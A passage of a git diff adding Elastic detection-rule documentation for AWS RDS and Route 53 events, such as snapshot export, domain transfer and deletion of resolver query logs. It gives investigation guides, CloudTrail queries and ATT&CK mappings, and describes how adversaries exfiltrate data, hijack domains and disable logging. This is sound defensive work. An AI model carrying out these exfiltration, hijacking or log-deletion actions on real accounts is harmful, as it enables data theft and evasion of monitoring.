/ dump activity visible via other telemetry). + - Follow-on destructive actions (DB instance deletion, subnet/security group changes that isolate monitoring tools, or IAM policy changes). + - Verify whether other snapshots for the same instance or account were deleted in the same time window. + +- **Validate intent with owners** + - Confirm with the DB/application owner and platform/DBA teams whether: + - The snapshot deletion or backup change was requested and approved. + - There are parallel infrastructure changes (migrations, environment teardown, or cost-optimization tasks) that explain the activity. + + +*False positive analysis* + + +- **Planned lifecycle and cost optimization** + - Many environments routinely prune old snapshots or adjust backup retention for non-production workloads. + +- **Automated backup and housekeeping tools** + - Backup or housekeeping services may manage snapshots and retention. This rule already excludes typical `backup.amazonaws.com` events, but you should: + - Identify any additional in-house or third-party automation roles. + - Tune the rule with exceptions based on `user_agent.original`, `aws.cloudtrail.user_identity.arn`, or known service roles. + + +*Response and remediation* + + +- **Contain and restore protection** + - If activity appears unauthorized: + - Immediately review the affected DB instances and clusters and restore `backupRetentionPeriod` to an appropriate value. + - Verify that deletion protection and other guardrails are enabled where applicable. + - For snapshot deletions, assess: + - Whether alternate snapshots (manual or automated) are still available. + - Whether point-in-time recovery is still possible based on transaction logs and remaining backups. + +- **Investigate scope and impact** + - Use CloudTrail to: + - Enumerate all recent snapshot deletions and backup configuration changes by the same actor or from the same `source.ip`. + - Identify any subsequent `DeleteDBInstance`, `DeleteDBCluster`, or public exposure (`publiclyAccessible=true`) events. + - Engage the application and data owners to: + - Evaluate potential data loss, downtime impact, and regulatory implications. + - Determine if any sensitive or compliance-bound data may be unrecoverable. + +- **Hardening and preventive controls** + - Restrict RDS administration: + - Limit `rds:DeleteDBSnapshot`, `rds:DeleteDBClusterSnapshot`, and `rds:ModifyDBInstance` (especially backup and deletion-related parameters) to a small set of privileged roles. + - Use IAM conditions (e.g., `aws:PrincipalArn`, `aws:RequestedRegion`) to constrain where and by whom destructive actions can be performed. + - Add guardrails: + - Use AWS Config rules and/or Security Hub controls to detect: + - Instances with `backupRetentionPeriod=0`. + - Instances lacking deletion protection or cross-region/cross-AZ backup strategy. + - Consider SCPs in AWS Organizations to block or tightly control destructive RDS APIs in production accounts. + +- **Post-incident improvements** + - If malicious or unsafe behavior is confirmed: + - Rotate credentials for the involved principals and review STS session usage. + - Update runbooks and change management to explicitly track snapshot and backup policy changes. + - Refine this rule’s exceptions, tags, or severity to better align with your environment while preserving coverage for truly risky events. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +any where data_stream.dataset == "aws.cloudtrail" + and event.provider == "rds.amazonaws.com" + and event.outcome == "success" + and ( + event.action in ("DeleteDBSnapshot", "DeleteDBClusterSnapshot") or + (event.action == "ModifyDBInstance" and stringContains(aws.cloudtrail.request_parameters, "backupRetentionPeriod=0")) + ) + and not ( + user_agent.original == "backup.amazonaws.com" + and source.address == "backup.amazonaws.com" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-rds-snapshot-export.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-rds-snapshot-export.asciidoc new file mode 100644 index 0000000000..2c3a8189c1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-rds-snapshot-export.asciidoc @@ -0,0 +1,199 @@ +[[prebuilt-rule-8-19-21-aws-rds-snapshot-export]] +=== AWS RDS Snapshot Export + +Identifies the export of a DB snapshot or DB cluster data to Amazon S3. Snapshot exports can be used for analytics or migration workflows, but adversaries may abuse them to exfiltrate sensitive data outside of RDS-managed storage. Exporting a snapshot creates a portable copy of the database contents, which, if performed without authorization, can indicate data theft, staging for exfiltration, or operator misconfiguration that exposes regulated information. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_StartExportTask.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Use Case: Asset Visibility +* Tactic: Collection +* Tactic: Exfiltration +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS RDS Snapshot Export* + + +Exporting an RDS snapshot to Amazon S3 allows the full contents of a database to be written outside the managed +RDS service boundary. While legitimate for analytics or migration, this action can also be a mechanism for data +exfiltration. Because snapshot exports produce files that can be downloaded, shared, or accessed by other AWS principals, +unauthorized exports may indicate staging for data theft or attempts to bypass database access controls. + +This rule detects successful `StartExportTask` events. Activity of this type should be validated to ensure that only +authorized database, platform engineering, or analytics workflows initiated the export. + + +*Possible investigation steps* + + +- **Identify the actor and context** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine which principal initiated the export. + - Look at `source.ip`, `user.name`, and `user_agent.original` to understand where the export originated (console, CLI, SDK, automation). + - Check whether the principal has historically performed snapshot exports. + +- **Determine what was exported** + - Examine `aws.cloudtrail.request_parameters`: + - Snapshot identifier being exported. + - S3 bucket name and path. + - KMS key used (or absence of encryption). + - Map the snapshot and destination bucket to: + - Application/owner team. + - Environment (prod/staging/dev). + - Data classification (PII, PHI, PCI, internal). + +- **Reconstruct timing and surrounding context** + - Use `@timestamp` to correlate the export with: + - Recent RDS modifications (`ModifyDBInstance`, `ModifyDBCluster`), snapshot deletions, or retention changes. + - IAM role changes, access key issuance, or privilege escalation attempts. + - Unusual authentication patterns (e.g., successful logins from new locations, failed console logins). + - Check whether the export timing aligns with approved deployments or maintenance windows. + +- **Correlate with broader CloudTrail activity** + - Pivot on the same user, role, or access key ID to look for: + - Prior reconnaissance (e.g., `DescribeDBSnapshots`, `DescribeDBClusters`, `ListBuckets`). + - Permission changes (`PutRolePolicy`, `AttachUserPolicy`). + - Public exposure (e.g., S3 bucket ACL changes). + - Determine whether multiple snapshots were exported around the same time. + +- **Validate intent with stakeholders** + - Confirm with the database owner, analytics team, or platform engineering team whether: + - The export was planned and authorized. + - The target S3 bucket is approved for storing database contents. + - Encryption and access controls meet organizational policy. + + +*False positive analysis* + + +- **Authorized data analytics or ETL workflows** + - Many organizations export snapshots for reporting, ML pipelines, or external data processing. + - Validate that the export aligns with documented ETL or analytics processes. + +- **Automated snapshot export tools** + - Backup pipelines, cost optimization, or data replication systems may export snapshots. + - Tune the rule by excluding known IAM roles or automation user agents. + +- **CloudFormation or IaC triggers** + - Infrastructure-as-code pipelines may trigger snapshot exports as part of stack updates. + - Correlate with CloudFormation events to confirm legitimacy. + + +*Response and remediation* + + +- **Contain potential exfiltration** + - Review access to the destination S3 bucket and confirm that: + - Bucket is encrypted with the expected KMS key. + - Access is restricted to authorized principals. + - No unusual downloads or cross-account accesses occurred. + +- **Investigate scope and impact** + - Use CloudTrail to enumerate: + - All export tasks started by the same actor. + - Other snapshot or data-access API calls in the same time window. + - Validate whether sensitive or regulated data may have been included. + +- **Credential and access remediation** + - If activity appears unauthorized: + - Revoke or rotate compromised IAM credentials. + - Review STS session activity related to the actor. + - Inspect IAM role policies for privilege escalation. + +- **Hardening and preventive controls** + - Restrict the ability to call `StartExportTask` using: + - IAM least-privilege policies. + - Service Control Policies (SCPs) in production accounts. + - Conditional IAM (e.g., requiring MFA, restricting by VPC endpoint or IP range). + - Enable guardrails: + - AWS Config/Security Hub controls for monitoring snapshot policy changes. + - Alerts for exports to buckets outside approved accounts. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail + and event.provider: rds.amazonaws.com + and event.action: StartExportTask + and event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Cloud Storage +** ID: T1567.002 +** Reference URL: https://attack.mitre.org/techniques/T1567/002/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ +* Sub-technique: +** Name: Databases +** ID: T1213.006 +** Reference URL: https://attack.mitre.org/techniques/T1213/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-route-53-domain-transfer-lock-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-route-53-domain-transfer-lock-disabled.asciidoc new file mode 100644 index 0000000000..7ee3eacd2e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-route-53-domain-transfer-lock-disabled.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-21-aws-route-53-domain-transfer-lock-disabled]] +=== AWS Route 53 Domain Transfer Lock Disabled + +Identifies when the transfer lock on an AWS Route 53 domain is disabled. The transfer lock protects domains from being moved to another registrar or AWS account without authorization. Disabling this lock removes an important safeguard against domain hijacking. Adversaries who gain access to domain-management permissions may disable the lock as a precursor to unauthorized domain transfer, takeover, or service disruption. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/Route53/latest/APIReference/API_Operations_Amazon_Route_53.html +* https://docs.aws.amazon.com/Route53/latest/APIReference/API_domains_DisableDomainTransferLock.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Route 53 +* Use Case: Asset Visibility +* Tactic: Persistence +* Tactic: Resource Development +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Route 53 Domain Transfer Lock Disabled* + + +This rule detects when the `DisableDomainTransferLock` operation succeeds for a managed Route 53 domain. The transfer lock +prevents unauthorized domain transfers, and disabling it is an uncommon operation outside of planned migrations. Because +domains often underpin production workloads (web, API, authentication, email), unauthorized transfer lock changes may +indicate adversary preparation for domain hijacking or service disruption. + +This event should be treated with high urgency whenever it occurs unexpectedly. + + +*Possible investigation steps* + + +- **Review the actor** + - Examine `aws.cloudtrail.user_identity.arn` and `user_identity.access_key_id` to confirm who + initiated the change. Validate whether this identity normally performs domain-management tasks. + +- **Analyze the request context** + - Review `aws.cloudtrail.request_parameters` to identify which domain was affected. + - Confirm no corresponding `operation=TransferDomainToAnotherAwsAccount` or registrar-level modifications occurred + shortly before or after the lock was disabled. + - Note the timestamp and evaluate whether the change occurred during maintenance windows or outside business hours. + +- **Evaluate activity surrounding the lock disablement** + - Look for subsequent events such as modifications to contact details, attempted transfers, DNS record changes, or updates to hosted zones. Correlate with unusual IAM role usage, newly issued access keys, or anomalous login behavior. + +- **Validate intent with responsible teams** + - Confirm whether stakeholders (network operations, domain owners, infrastructure leads) initiated or approved the + transfer lock disablement. If unmanaged or unexpected, treat this as a potentially malicious action. + + +*False positive analysis* + + +- **Authorized transfer preparation** + - The most common legitimate case is preparation for a planned transfer of ownership or registrar migration. Ensure the + change aligns with a ticketed and approved operation. + +- **Internal domain restructuring** + - Organizational changes (e.g., merging AWS accounts, consolidating DNS assets) may require disabling the lock. Check + for documented work items or migration plans. + +- **Automated tooling** + - Rare but possible: Some internal automation used for domain lifecycle management may disable the lock as part of an + update. Validate that any automation using administrative API credentials is documented and approved. + + +*Response and remediation* + + +- **Re-enable the transfer lock immediately if unauthorized** + - Restore the lock from Route 53 to prevent any pending or future unauthorized transfer attempts. + +- **Contain potential credential compromise** + - If the action is suspicious, rotate credentials for the user or role involved and enforce MFA. + +- **Audit for related domain-level modifications** + - Review CloudTrail logs for: + - attempted domain transfers, + - contact profile changes, + - hosted zone modifications, + - DNS record updates, + - IAM privilege escalations. + +- **Engage internal owners** + - Notify domain owners, infosec leadership, and operations teams; determine business impact and next steps. + +- **Strengthen governance** + - Limit domain-management permissions to the minimum set of authorized administrators. + - Consider implementing AWS Organizations service control policies (SCPs) to prevent domain-level actions except + through designated accounts. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail + and event.provider: route53domains.amazonaws.com + and event.action: DisableDomainTransferLock + and event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Resource Development +** ID: TA0042 +** Reference URL: https://attack.mitre.org/tactics/TA0042/ +* Technique: +** Name: Compromise Infrastructure +** ID: T1584 +** Reference URL: https://attack.mitre.org/techniques/T1584/ +* Sub-technique: +** Name: Domains +** ID: T1584.001 +** Reference URL: https://attack.mitre.org/techniques/T1584/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-route-53-domain-transferred-to-another-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-route-53-domain-transferred-to-another-account.asciidoc new file mode 100644 index 0000000000..d1f5031540 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-route-53-domain-transferred-to-another-account.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-21-aws-route-53-domain-transferred-to-another-account]] +=== AWS Route 53 Domain Transferred to Another Account + +Identifies when an AWS Route 53 domain is transferred to another AWS account. Transferring a domain changes administrative control of the DNS namespace, enabling the receiving account to modify DNS records, route traffic, request certificates, and potentially hijack operational workloads. Adversaries who gain access to privileged IAM users or long-lived credentials may leverage domain transfers to establish persistence, redirect traffic, conduct phishing, or stage infrastructure for broader attacks. This rule detects successful domain transfer requests. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/Route53/latest/APIReference/API_Operations_Amazon_Route_53.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Route 53 +* Use Case: Asset Visibility +* Tactic: Persistence +* Tactic: Resource Development +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Route 53 Domain Transferred to Another Account* + + +Transferring a Route 53 domain to another AWS account is a high-impact administrative action. A successful transfer enables the +recipient account to fully manage the domain and all associated DNS resources. Unauthorized transfers can result in loss of +visibility and control, traffic redirection, service outages, or domain hijacking for phishing, credential harvesting, or command-and-control. + +This rule detects successful calls to `TransferDomainToAnotherAwsAccount`. These events are rare and should be considered +high-risk unless explicitly documented and approved. + + +*Possible investigation steps* + + +- **Identify the actor and authentication context** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine who initiated the transfer. Determine whether the actor typically performs Route 53 administrative actions or if this represents anomalous behavior. + +- **Review request details and target account** + - Inspect `aws.cloudtrail.request_parameters` for: `DomainName`, `AccountId` receiving the transfer, Request tokens or validation parameters. Validate whether the destination AWS account is recognized, trusted, or documented in ownership transfer procedures. + +- **Assess environment and timing** + - Compare `@timestamp` against maintenance windows, deployment pipelines, or approved domain operations. Review the region and endpoint used; domain transfers occurring from unexpected regions may indicate unauthorized access. + +- **Analyze source and execution context** + - Review `source.ip`, `source.geo.country_iso_code`, and `user_agent.original` to determine: + - If the request originated from known networks, Whether it matches typical administrator access patterns or if suspicious automation tools, outdated SDK versions, or unknown agents were used. + +- **Correlate with broader activity** + - Pivot on the same IAM principal or access key ID to identify: + - Recent IAM policy changes or privilege escalation + - `DisableDomainTransferLock`, which normally precedes domain transfers + - AWS console sign-ins from new geolocations or ASNs + - API calls involving certificate requests, hosted zone changes, or DNS record edits + - Look for evidence of lateral movement or credential theft preceding the transfer. + +- **Validate with business owners** + - Confirm with domain owners, development teams, or asset managers whether The transfer was intentional. + + +*False positive analysis* + + +- **Expected domain migrations** + - Organizations with multi-account strategies may transfer domains between operational, security, or sandbox accounts. +- **Business events** + - Mergers, acquisitions, or contractual transitions between managed service providers often involve bulk domain transfers. +- **Automated administrative tooling** + - Domain lifecycle automation or infrastructure-as-code pipelines may trigger transfers if misconfigured. + + +*Response and remediation* + + +- **Contain and revoke access** + - If unauthorized, immediately invalidate the IAM session or access keys used in the transfer. + - Rotate credentials for the implicated IAM user or role and require MFA for privileged operations. + +- **Reverse or halt the transfer** + - Contact AWS Support as soon as possible to request assistance reversing or blocking the transfer if it was not approved. + - Re-enable transfer lock (`DisableDomainTransferLock=false`) to prevent further modifications. + +- **Investigate the extent of compromise** + - Review CloudTrail to identify all actions performed by the actor before and after the transfer. + - Check for additional changes to hosted zones, DNS records, certificates, or registrar contact details. + +- **Restore operational integrity** + - Validate DNS routing, certificate issuance, and application endpoints for signs of redirection or tampering. + - Communicate with impacted teams and external stakeholders if customer-facing domains were affected. + +- **Hardening and long-term improvements** + - Restrict domain transfer permissions to a minimal set of roles using IAM Conditions such as `aws:PrincipalArn` and `aws:MultiFactorAuthPresent` + - Consider SCPs to block domain-transfer APIs in production accounts. + - Add change-management tracking for domain ownership modifications. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail + and event.provider: route53domains.amazonaws.com + and event.action: TransferDomainToAnotherAwsAccount + and event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Resource Development +** ID: TA0042 +** Reference URL: https://attack.mitre.org/tactics/TA0042/ +* Technique: +** Name: Compromise Infrastructure +** ID: T1584 +** Reference URL: https://attack.mitre.org/techniques/T1584/ +* Sub-technique: +** Name: Domains +** ID: T1584.001 +** Reference URL: https://attack.mitre.org/techniques/T1584/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-route-53-private-hosted-zone-associated-with-a-vpc.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-route-53-private-hosted-zone-associated-with-a-vpc.asciidoc new file mode 100644 index 0000000000..3a866c67c0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-route-53-private-hosted-zone-associated-with-a-vpc.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-21-aws-route-53-private-hosted-zone-associated-with-a-vpc]] +=== AWS Route 53 Private Hosted Zone Associated With a VPC + +Identifies when an AWS Route 53 private hosted zone is associated with a new Virtual Private Cloud (VPC). Private hosted zones restrict DNS resolution to specific VPCs, and associating additional VPCs expands the scope of what networks can resolve internal DNS records. Adversaries with sufficient permissions may associate unauthorized VPCs to intercept, observe, or reroute internal traffic, establish persistence, or expand their visibility within an AWS environment. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/Route53/latest/APIReference/API_AssociateVPCWithHostedZone.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Route 53 +* Use Case: Asset Visibility +* Tactic: Persistence +* Tactic: Resource Development +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Austin Songer +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Route 53 Private Hosted Zone Associated With a VPC* + + +Route 53 private hosted zones provide internal DNS capabilities accessible only to the VPCs explicitly associated with +them. Associating a new VPC expands DNS visibility and access. If an adversary gains sufficient IAM permissions, they may +attach unauthorized VPCs to privileged hosted zones to perform internal reconnaissance, intercept service discovery, +redirect traffic, or gain persistence by manipulating internal name resolution. + +This rule detects successful `AssociateVPCWithHostedZone` events where a hosted zone's visibility scope is modified. + + +*Possible investigation steps* + + +- **Identify the Actor** + - Review `aws.cloudtrail.user_identity.arn` and `access_key_id` to determine who initiated the association. Validate whether this identity is expected to manage Route 53 or VPC networking. + +- **Review Request Details** + - Examine `aws.cloudtrail.request_parameters` to confirm which hosted zone and VPC were associated. Determine if the hosted zone contains sensitive internal service records, privileged DNS, or identity service endpoints. + +- **Validate the VPC** + - Identify whether the associated VPC belongs to an authorized environment (e.g., known production, staging, or internal networks). Check for unusual VPC creation events, cross-account VPC behavior, or recently observed anomalous resource provisioning. + +- **Assess Source Context** + - Inspect `source.ip` and `user_agent.original` for geographic anomalies, automation patterns, or suspicious tooling. + - Look for correlations with unusual IAM activity, privilege escalations, or policy modifications. + +- **Correlate With Broader Activity** + - Search for additional changes involving the same identity, including: + - Route 53 hosted zone modifications + - VPC peering creation + - Network ACL or security group changes + - IAM privilege modifications + - Identify whether this association is part of a larger sequence suggesting lateral movement or internal reconnaissance. + +- **Engage Relevant Teams** + - If initiated by a user, confirm intent with networking or cloud infrastructure teams. Validate whether the association aligns with deployment, migration, or environment expansion activities. + + +*False positive analysis* + + +- **Routine Infrastructure Updates** + - Associations may occur during normal environment expansions (new VPC for microservices, deployments, region expansion). + +- **Automated Tooling** + - Infrastructure-as-code pipelines (Terraform, CloudFormation, CDK) may regularly modify hosted zone associations. + - If confirmed legitimate, consider excluding specific automation IAM roles. + +- **Migration or Restructuring Events** + - Large-scale cloud migrations or VPC re-architecture work may trigger frequent legitimate associations. + + +*Response and remediation* + + +- **Revoke Unauthorized Access** + - If the association is unauthorized, review and restrict IAM permissions for the actor. + - Remove the VPC association if it is not intended. + +- **Investigate Potential Impact** + - Review internal DNS query logs and VPC flow logs for any misuse, suspicious lookups, or unauthorized cross-VPC traffic. + +- **Strengthen IAM Controls** + - Limit `route53:AssociateVPCWithHostedZone` to specific administrative roles. + - Require MFA for accounts with Route 53 and VPC modification permissions. + +- **Monitor for Related Activity** + - Add monitoring for other hosted zone modifications, new VPC creation, and cross-account network configurations. + +- **Communicate and Document** + - Notify cloud networking and security operations of unauthorized changes. + - Document findings and update policy controls or automation baselines. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail + and event.provider: route53.amazonaws.com + and event.action: AssociateVPCWithHostedZone + and event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Resource Development +** ID: TA0042 +** Reference URL: https://attack.mitre.org/tactics/TA0042/ +* Technique: +** Name: Acquire Infrastructure +** ID: T1583 +** Reference URL: https://attack.mitre.org/techniques/T1583/ +* Sub-technique: +** Name: Domains +** ID: T1583.001 +** Reference URL: https://attack.mitre.org/techniques/T1583/001/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-route-53-resolver-query-log-configuration-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-route-53-resolver-query-log-configuration-deleted.asciidoc new file mode 100644 index 0000000000..cb2e825a83 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-route-53-resolver-query-log-configuration-deleted.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-21-aws-route-53-resolver-query-log-configuration-deleted]] +=== AWS Route 53 Resolver Query Log Configuration Deleted + +Identifies the deletion of an Amazon Route 53 Resolver Query Log Configuration. Resolver query logs provide critical visibility into DNS activity across VPCs, including lookups made by EC2 instances, containers, Lambda functions, and other AWS resources. Deleting a query log configuration immediately stops DNS query and response logging for the associated VPC. Adversaries may delete these configurations to evade detection, suppress forensic evidence, or degrade security monitoring capabilities. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/Route53/latest/APIReference/API_route53resolver_DeleteResolverQueryLogConfig.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Route 53 +* Use Case: Log Auditing +* Resources: Investigation Guide +* Tactic: Defense Evasion + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Route 53 Resolver Query Log Configuration Deleted* + + +Route 53 Resolver query logs provide essential telemetry for DNS visibility across AWS environments. Deleting a Resolver Query Log Configuration immediately halts DNS logging for one or more VPCs, creating a significant monitoring gap. Adversaries may intentionally delete these configurations to hide malicious activity. This rule detects successful invocations of `DeleteResolverQueryLogConfig`. + + +*Possible investigation steps* + + +**Validate the actor and request origin** +- Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine who initiated the deletion. Confirm whether the identity normally manages Route53 Resolver resources or VPC-level DNS configuration. +- Examine `source.ip`, `source.address`, `source.geo` fields and `user_agent.original` to determine whether the request originated from an expected network path or automation role. Whether API calls were made via console, CLI, SDK, or custom tooling. + +**Understand what was deleted and the impacted environment** +- Inspect `aws.cloudtrail.request_parameters` and `aws.cloudtrail.response_elements` to identify the Query Log Configuration ID, Associated VPCs and destinations (e.g., 